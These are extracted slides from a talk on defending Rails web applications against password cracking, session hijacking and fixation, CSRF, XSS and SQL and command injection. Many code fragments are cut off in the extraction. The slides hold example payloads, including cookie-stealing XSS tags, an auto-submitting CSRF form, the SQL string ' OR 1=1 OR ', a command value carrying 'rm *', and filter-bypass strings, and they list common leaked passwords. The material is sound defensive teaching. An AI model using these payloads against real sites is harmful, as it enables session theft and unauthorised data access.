Defending-Against-Attacks-With-Rails by learnguy


More Info
									Defending Against Attacks
        With Rails
     General Principles

Kerckhoff's Principle – Always assume
the method of security is known

Always validate on the server side, even
if you validate on the client side

Whitelist, don't Blacklist

 Step 1:
 One-way hash all passwords

   MD5: 128-bit hash values ( 2^128 tries)
   SHA -> 160-bit hash values (2^160 tries)

   Secure?
Why is hashing not enough?

   Same passwords hash to same

   ∴ Attacker can easily determine if
    multiple users have the same

   Very weak against Rainbow
Use Salt

   Ensures same password will hash to different

   Rainbow tables are useless, attacker would
    essentially have to compute a rainbow table for
    each password with the new salt
People Use Crappy Passwords

   20 common passwords from MySpace phishing

   password1, abc123, myspace1, password, blink182,
   qwerty1, ****you, 123abc, baseball1, football1,
   123456, soccer, monkey1, liverpool1, princess1,
   jordan23, slipknot1, superman1, iloveyou1,
   monkey

   ( )
Restful Authentication
   Great way to implement authentication in Rails

    Easy setup with hashes and salts

    Extra protection for crappy passwords with
    SITE_KEY and stretching
What Else Can We Do?

   It is really hard to protect accounts with bad

    Always provide a password strength meter

    Maybe only accept passwords at a certain strength
Mass Assignment

   Rails let's us do stuff like

   Not secure if we have special attributes like

   An attacker can make a POST request with
Solve By Whitelisting

   For previous example:

   Can also use attr_protected to Blacklist
Accessing Records

   Let's say we have bands and shows...

   Tell Rails not to log sensitive data
Security Through Obscurity?

   My default server response header:
   “Apache/2.2.11 (Unix) mod_ssl/2.2.8
    OpenSSL/0.9.8g DAV/2 PHP/5.3.0

   Add this to your Apache conf:
   ServerTokens Prod

   New server response header
   “Apache”
More Obscurity?

   Turn your server signature off

   Add this to the bottom of your Apache conf:

   ServerSignature Off
Stack Traces

   Rails handles this but good to know about

   config/environments/development.rb

   config/environments/production.rb

   Want prod error message in dev? In app
Time For The Scary Stuff...

Session Hijacking

   How does it work?

   Session ID's are stored on client machines

   1) Attacker gets SID from authenticated user

   2) Attacker presents SID to web app as his own
How Does Attacker Get SID?

   1) Guess the Session ID

   2) Network sniffing

   3) Finding cookies on shared computer

   4) Cross-site scripting (more on this later)

   5) Session fixation (more on this later)
Guessing the Session ID

   Rails makes this very difficult by making Session
    ID's very random

   SID's are hashes of string containing

    current time
    random number between 0 and 1
    PID of ruby interpreter (another random number)
    constant string
Sniffing the Session ID

   Possible on an unencrypted wireless LAN (
    internet cafe )

   Solution: provide SSL connection
Shared computer problem

   Consider public computers

   Solution: Provide a logout button to clear the

   Good example – Bank Of America:

   Provide a low session expiration time with pop-up
Cookie Security

   Rails uses CookieStore by default as of v2.2

   Can users tamper with the cookies?

   Only if they have the secret key:

   config/environment.rb
Cookie Precautions

   Don't store in the session:

   -Sensitive Data
   cookie data is not encrypted, it is base64 encoded!
   ∴ clients can read cookies

   -Transient Data (account balance)
   vulnerable to replay attack...see next slide

   -Use a long secret key
   128 characters
What is a Replay Attack?

   When a client presents an old cookie that is valid
    and convinces the server that it is current

   Use a nonce?
   sounds like overkill....but maybe try memcached

   Best solution:
   Don't keep transient data that is sensitive (account
    balance) in the session
Session Fixation

   1) Attacker gets a valid session

   2) Attacker forces his victim to use valid session

   Now attacker has access to your session
Good Example from Wikipedia

   Given:

    Alice has bank account at

    Mallory wants Alice's money

    Alice has reasonable amount of trust in Mallory
The Attack

   1) Mallory knows the accepts
    SID's from query strings

   2) Mallory sends Alice an email “Check out this
    new cool bank feature”

   3) Alice visits the link and logs in

   4) Mallory visits the link and has access to Alice's
Other Attacks

   You can also use XSS to set a victim's session ID

   <script>
   document.cookie="_session_id=PUT_SID_HERE
   </script>

   OR

   <meta http-equiv=Set-Cookie
Fixation Mitigation

   In Rails, one line of code:
   reset_session

   In last example, Alice's session would have been
    reset upon login

   The tradeoff?

   Forms will expire
   (read more:
    vendor/plugins/restful_authentication/notes/Tradeoffs.txt )
Restful Authentication Example

   app/controllers/sessions_controller.rb

   Read about tradeoffs:
Cross-Site Request Forgery

   What is it?

   Let's start with a great example from Rails Guides
CSRF Example

   1) Attacker posts on a message board
   <img src="">
   2) Bob recently used, session still
   3) Bob visits message board
   4) Browser loads image, sending cookie from
    Bob's machine
   5) webapp verifies cookie credentials and destroys
    project with ID=1
   6) No image displayed on forum
CSRF Mitigation

   1) Require POST methods where applicable
   config/routes.rb

   app/controllers/projects_controller.rb

   Still not secure, POST requests can be sent
    automatically on events
Automatic POST Request

   <a href="" onclick=" var f
    = document.createElement('form'); =
    'none'; this.parentNode.appendChild(f); f.method =
    'POST'; f.action =
    f.submit(); return false;">To the harmless survey</a>

   OR

   <img src=""
    width="400" height="400" onmouseover="..." />
Another Security Measure

   2) Add a security token in forms

   Rails automatically includes security tokens in

   app/controllers/application_controller.rb

   Use secret if not using CookieStore
Cross-Site Scripting ( XSS )


                     Most Common

                     Most Devastating

                     510,000 Attacks
                     in April, 2008
The XSS Attack

   1) Attacker visits website and injects some code
    through web form or other means

   2) Web application saves injected code and
    displays it later to a victim
The Possibilities

 Steal cookies

 Hijack sessions

 Redirect victim to malicious website

 Display advertisements to benefit attacker

 Change elements on website to get credentials

 Install malware through browser security holes
XSS Example

   Getting cookie information

   <script>document.write('<img
    src="' + document.cookie +
   OR
   <img src=javascript:document.write('<img
    src="' + document.cookie + '">')>
   OR
   <table background="...">

   Now the attacker checks his server logs
Get User Credentials

   Use an iframe to present a form to be submitted to
    your server
   <iframe name="LoginForm"
XSS Mitigation

   1) Whitelist input filtering

   Good reference:
   2) Escape all output of your application

   In your views...
   <%=h user_input %> # done by default in Rails 3
SQL Injection

   An attack that manipulates SQL
    queries performed by a web
    application on its database.
SQL Injection Example

   My application has Reminder objects which
    belong to Band objects

   I could do something like...
   Reminder.find(:all, :conditions => "band_name =

   What if an attacker enters for their band_name:
   ' OR 1=1 OR '

   SELECT * FROM `reminders` WHERE
    (band_name = '' OR 1=1 OR '')
SQL Injection Mitigation

   In Rails use
   Reminder.find(:all, :conditions => ["band_name = ?",

   Resulting SQL:
   SELECT * FROM `reminders` WHERE (band_name = '\' OR 1=1

   ', ”, NULL, and line breaks are escaped

   Query returns nothing
But Obviously...

   Do this
   @reminders = @band.reminders

   The previous tip works great for complicated
    custom queries
Other Injections

   1) Ajax
   Returning a string in Ajax call? Escape in

   2) RJS
   escape_javascript() within JS and h() within

   3) CSS
   Some browsers allow HTML/JS in CSS
   <div id="abc" expr="alert('!!!')"
More Injections

   4) Textile
   Use whitelist filtering!
   # => "<p><a

   5) Command Line
   system("/bin/echo","hello; rm *")
   # prints "hello; rm *" and does not delete files
More Injections

   6) Header
   -escape referer, user-agent, cookie, etc. if you
    display these headers on a page
   -be aware of how you build headers because
    injections can rewrite headers and inject arbitrary
    headers (up to Rails 2.1.2)
   more in Rails Guides, section 8.9

   7) Encoding
   Browser understands encoding, but your app does
    not therefore sanitize method is useless
Regular Expressions

   Use \A and \Z, not ^ and $

   The problem?
   file.txt%0A<script>alert('hello')</script>
   passes the test because of the newline

   Result: "file.txt\n<script>alert'hello')</script>"
Whitelist, Don't Blacklist

   1) before_filter :only => [...] instead of :except =>

   2) Use attr_accessible instead of attr_protected

   3) Only allow certain tags when stripping instead of
    allowing all tags except

   4) Don't try to correct user input
   This will make the attack work:
    "<sc<script>ript>".gsub("<script>", "")
Some Links

To top